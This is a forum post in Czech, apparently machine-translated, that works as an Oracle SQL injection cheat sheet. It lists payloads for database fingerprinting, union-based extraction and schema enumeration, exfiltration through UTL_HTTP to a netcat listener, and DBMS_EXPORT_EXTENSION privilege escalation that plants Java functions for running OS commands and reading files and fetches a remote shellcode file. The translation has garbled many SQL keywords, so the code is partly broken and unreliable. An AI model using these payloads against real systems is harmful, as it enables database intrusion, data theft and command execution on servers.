Tento příspěvek byl naposledy upraven testem dne 24. 1. 2015 v 13:01
Komentář: -- Není podporováno provádění více vět a federované dotazy jsou podporovány Názvy databází, tabulek a sloupců jsou všechny psané velkými písmeny.
délka (pole) ascii(substr(field, N, 1))
a (vyberte count(*) z duálu)>0 -- Určíte, zda je to orákulum nebo ne
Příkaz od n--
a 1=2 sjednocení null, null,.....,null z duálu-- nahraďte null N nebo 'N'
a 1=2 union select null, (sql příkaz) ,.....,null z duálního -- změna na (sql příkaz) na 'N'
a (vyberte count(*) z all_objects kde object_name='UTL_HTTP')>0 -- Zjistěte, zda je UTL_HTTP podporována (exportní IP je známa)
a UTL_HTTP.request('http://LocalIP:port'|| (SQL příkaz)) =1-- Vzdáleně odesílat zprávy lokálnímu, lokálnímu naslouchání nc -vv -l -p 1234
SQL příkazy Vyberte banner z verze sys.v_$, kde rownum=1 pro dotazování na verzi orákula vyberte člena z v$logfile kde rownum=1 Dotazujte se na cestu k log souboru (Windows nebo Linux) Vyberte utl_inaddr.get_host_address z dual pro dotaz na IP poslouchající databázi Vyberte instance_name z v$instance pro dotazování na SID Vyberte název z v$database Dotazujte se na aktuální název databáze Vyberte sys_context ("userenv", 'current_user') z uživatelů databáze s duálními dotazy Vyberte * z session_roles kde Rownum=1 pro dotazování aktuálních uživatelských oprávnění Vyberte * z session_roles kde Rownum=1 [a role<>'první oprávnění jméno']
vyberte table_name z user_tables kde rownum=1 První segment tabulky aktuální databáze Vyberte table_name||','|| tablespace_name z user_tables kde rownum=1 První segment tabulky, databáze (pro ověření to nemusí být v$database) Vyberte table_name z user_tables kde Rownum=1 a table_name<>'první segment tabulky' Druhý segment tabulky aktuální databáze
vyberte column_name z user_tab_columns kde rownum=1 a table_name='Segment tabulky' První pole odpovídající názvu tabulky vyberte column_name z user_tab_columns kde rownum=1 a table_name='Segment tabulky' a column_name<>'První pole' Druhé pole odpovídá názvu tabulky
Vyberte pole z tabulkového segmentu, kde rownum=1 porušuje obsah prvního řádku Vyberte pole z segmentu tabulky, kde Rownum=1 a pole <> 'obsah prvního řádku' zobrazí obsah druhého řádku
Meziknihovní Vyberte vlastníka z all_tables kde rownum=1 dotazuje na první název databáze Vyberte vlastníka z all_tables kde rownum=1 a vlastník<> 'První název databáze' pro dotazování na druhé jméno databáze
Vyberte table_name z all_tables kde rownum=1 a owner='název databáze' Dotazujte se na první název tabulky odpovídající databáze Vyberte table_name z all_tables kde Rownum=1 a owner='název databáze' a table_name<>'první název tabulky' pro dotaz na název druhé tabulky odpovídající databáze
Vyberte column_name z all_tab_columns kde rownum=1 a owner='název databáze' a table_name='segment tabulky' První pole odpovídající názvu tabulky Vyberte column_name z all_tab_columns kde rownum=1 a owner='název databáze' a table_name='segment tabulky' a column_name<>'první pole' Druhé pole odpovídá názvu tabulky
Vyberte pole z databáze. segment tabulky, kde rownum=1 porušuje obsah prvního řádku Vyberte pole z databáze. Segment tabulky, kde rownum=1 a pole <> 'Obsah prvního řádku' porušuje obsah druhého řádku
SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES ('FOO', 'BAR', 'DBMS_OUTPUT". PUT(:P 1); víceslovný KONEC; --','SYS',0,'1',0)--
Pokud je 'escaped, používá se chr().
SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES(chr(70)|| chr(79)|| chr(79),chr(66)|| chr(65)|| chr(82), chr(68)|| chr(66)|| chr(77)|| chr(83)|| chr(95)|| chr(79)|| chr(85)|| chr(84)|| chr(80)|| chr(85)|| chr(84)|| chr(34)|| chr(46)|| chr(80)|| chr(85)|| chr(84)|| chr(40)|| chr(58)|| chr(80)|| chr(49)|| chr(41)|| chr(59)|| Multi-příkazy || chr(69)|| chr(78)|| chr(68)|| chr(59)|| chr(45)|| chr(45),chr(83)|| chr(89)|| chr(83),0,chr(49),0)=0--
Pokud je více vět příliš dlouhých, můžete výrok zapsat do souboru na webu a použít utl_http.request k jeho vyhledání.
SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES ('FOO', 'BAR', 'DBMS_OUTPUT". PUT(:P 1); utl_http.request('http://www.guetsec.com/shellcode.txt'); --','SYS',0,'1',0)--
Vytvořte JAVA balíček SecTest runCMD se používá k provádění systémových příkazů a '1'<>'a'|| (vyberte SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES ('FOO', 'BAR', 'DBMS_OUTPUT". PUT(:P 1); OKAMŽITĚ PROVÁDĚJ," PROHLAŠUJE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE''', vytvořit nebo nahradit a zkompilovat java zdrojový kód nazvaný "SecTest" jako import java.io.*; public class SecTest rozšiřuje Object{public static String runCMD(String args){try{BufferedReader myReader=new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(args) .getInputStream())); String stemp,str=""; while((stemp=myReader.readLine())!=null) str+=stemp+"\n"; myReader.close(); zpět sílu; }catch(Exception e){return e.toString(); }}}''''; KONEC; ''; KONEC; --','SYS',0,'1',0) z duálu)--
readFile se používá ke čtení souboru a '1'<>'a'|| (vyberte SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES ('FOO', 'BAR', 'DBMS_OUTPUT". PUT(:P 1); OKAMŽITĚ PROVÁDĚJ," PROHLAŠUJE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE''', vytvořit nebo nahradit a zkompilovat java zdrojový kód nazvaný "SecTest" jako import java.io.*; public class SecTest rozšiřuje Object{public static String readFile(String filename){try{BufferedReader myReader=new BufferedReader(new FileReader(filename)); String stemp,str=""; while((stemp=myReader.readLine())!=null) str+=stemp+"\n"; myReader.close(); zpět sílu; }catch(Exception e){return e.toString(); }}}''''; KONEC; ''; KONEC; --','SYS',0,'1',0) z duálu)--
Udělení Java oprávnění a '1'<>'a'|| (vyberte SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES ('FOO', 'BAR', 'DBMS_OUTPUT". PUT(:P 1); OKAMŽITĚ PROVEĎTE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE '''begin dbms_java.grant_permission(''''''''PUBLIC'''''''',''''''''SYS:java.io.FilePermission'''''''',''''''''<<ALL FILES>>''''''''''''''''vykonat''''''''); konec; ''''; KONEC; ''; KONEC; --','SYS',0,'1',0) z duálu)--
Vytvořit funkci Funkce SecRunCMD a '1'<>'a'|| (vyberte SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES ('FOO', 'BAR', 'DBMS_OUTPUT". PUT(:P 1); OKAMŽITĚ PROVEĎTE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE ''''create or replace function SecRunCMD(p_cmd in varchar2) return varchar2 jako java name ''''''''SecTest.runCMD(java.lang.String) return String'''''''' ; ''''; KONEC; ''; KONEC; --','SYS',0,'1',0) z duálu)--
Funkce SecReadFile a '1'<>'a'|| (vyberte SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES ('FOO', 'BAR', 'DBMS_OUTPUT". PUT(:P 1); OKAMŽITĚ PROVEĎTE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE ''''create or replace function SecReadFile(filename in varchar2) return varchar2 jako language java name''''''''SecTest.readFile(java.lang.String) return String' '''''''; ''''; KONEC; ''; KONEC; --','SYS',0,'1',0) z duálu)--
Udělení povolení k vykonání veřejné funkce SecRunCMD má udělená oprávnění a '1'<>'a'|| (vyberte SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES ('FOO', 'BAR', 'DBMS_OUTPUT". PUT(:P 1); OKAMŽITĚ PROVEĎTE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION; ZAČNĚTE OKAMŽITĚ PROVÁDĚT ''''udělit vše na SecRunCMD veřejnosti'''; KONEC; ''; KONEC; --','SYS',0,'1',0) z duálu)--
SecReadFile a '1'<>'a'|| (vyberte SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES ('FOO', 'BAR', 'DBMS_OUTPUT". PUT(:P 1); OKAMŽITĚ PROVEĎTE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION; ZAČNĚTE OKAMŽITĚ VYKONÁVAT "vše na SecReadFile pro veřejnost"; KONEC; ''; KONEC; --','SYS',0,'1',0) z duálu)--
Detekuje, zda byla funkce úspěšně vytvořena a (vyberte count(*) z all_objects kde object_name='SECRUNCMD')>0-- a (vyberte count(*) z all_objects kde object_name='SECREADFILE')>0--
Provést příkaz a '1'<> (vybrat sys. SecRunCMD('Příkaz spustit') z duálu)-- a '1'<> (vybrat sys. SecReadFile('fyzická adresa souboru') z duálu)-- nebo a 1=2 union select null,...,sys. SecRunCMD('execute command'),...,null z du-- a 1=2 union select null,...,sys. SecReadFile('fyzická adresa souboru'),...,null z duálu-- nebo a '1'<>(vyberte UTL_HTTP.request('http://LocalIP:port'|| REPLACE(REPLACE(sys. SecRunCMD('Execute Command'),' ',' '),'\n',' ')) z dual)-- a '1'<>(vyberte UTL_HTTP.request('http://LocalIP:port'|| REPLACE(REPLACE(sys. SecReadFile('Fyzická adresa souboru'),' ',' ',','\n',' ')) z dual)--
Funkce delete a '1'<>'a'|| (vyberte SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES ('FOO', 'BAR', 'DBMS_OUTPUT". PUT(:P 1); OKAMŽITĚ PROVEĎTE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE ''''drop function SecRunCMD'''; KONEC; ''; KONEC; --','SYS',0,'1',0) z duálu)-- a '1'<>'a'|| (vyberte SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES ('FOO', 'BAR', 'DBMS_OUTPUT". PUT(:P 1); OKAMŽITĚ PROVEĎTE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE ''''drop function SecReadFile'''; KONEC; ''; KONEC; --','SYS',0,'1',0) z duálu)-- |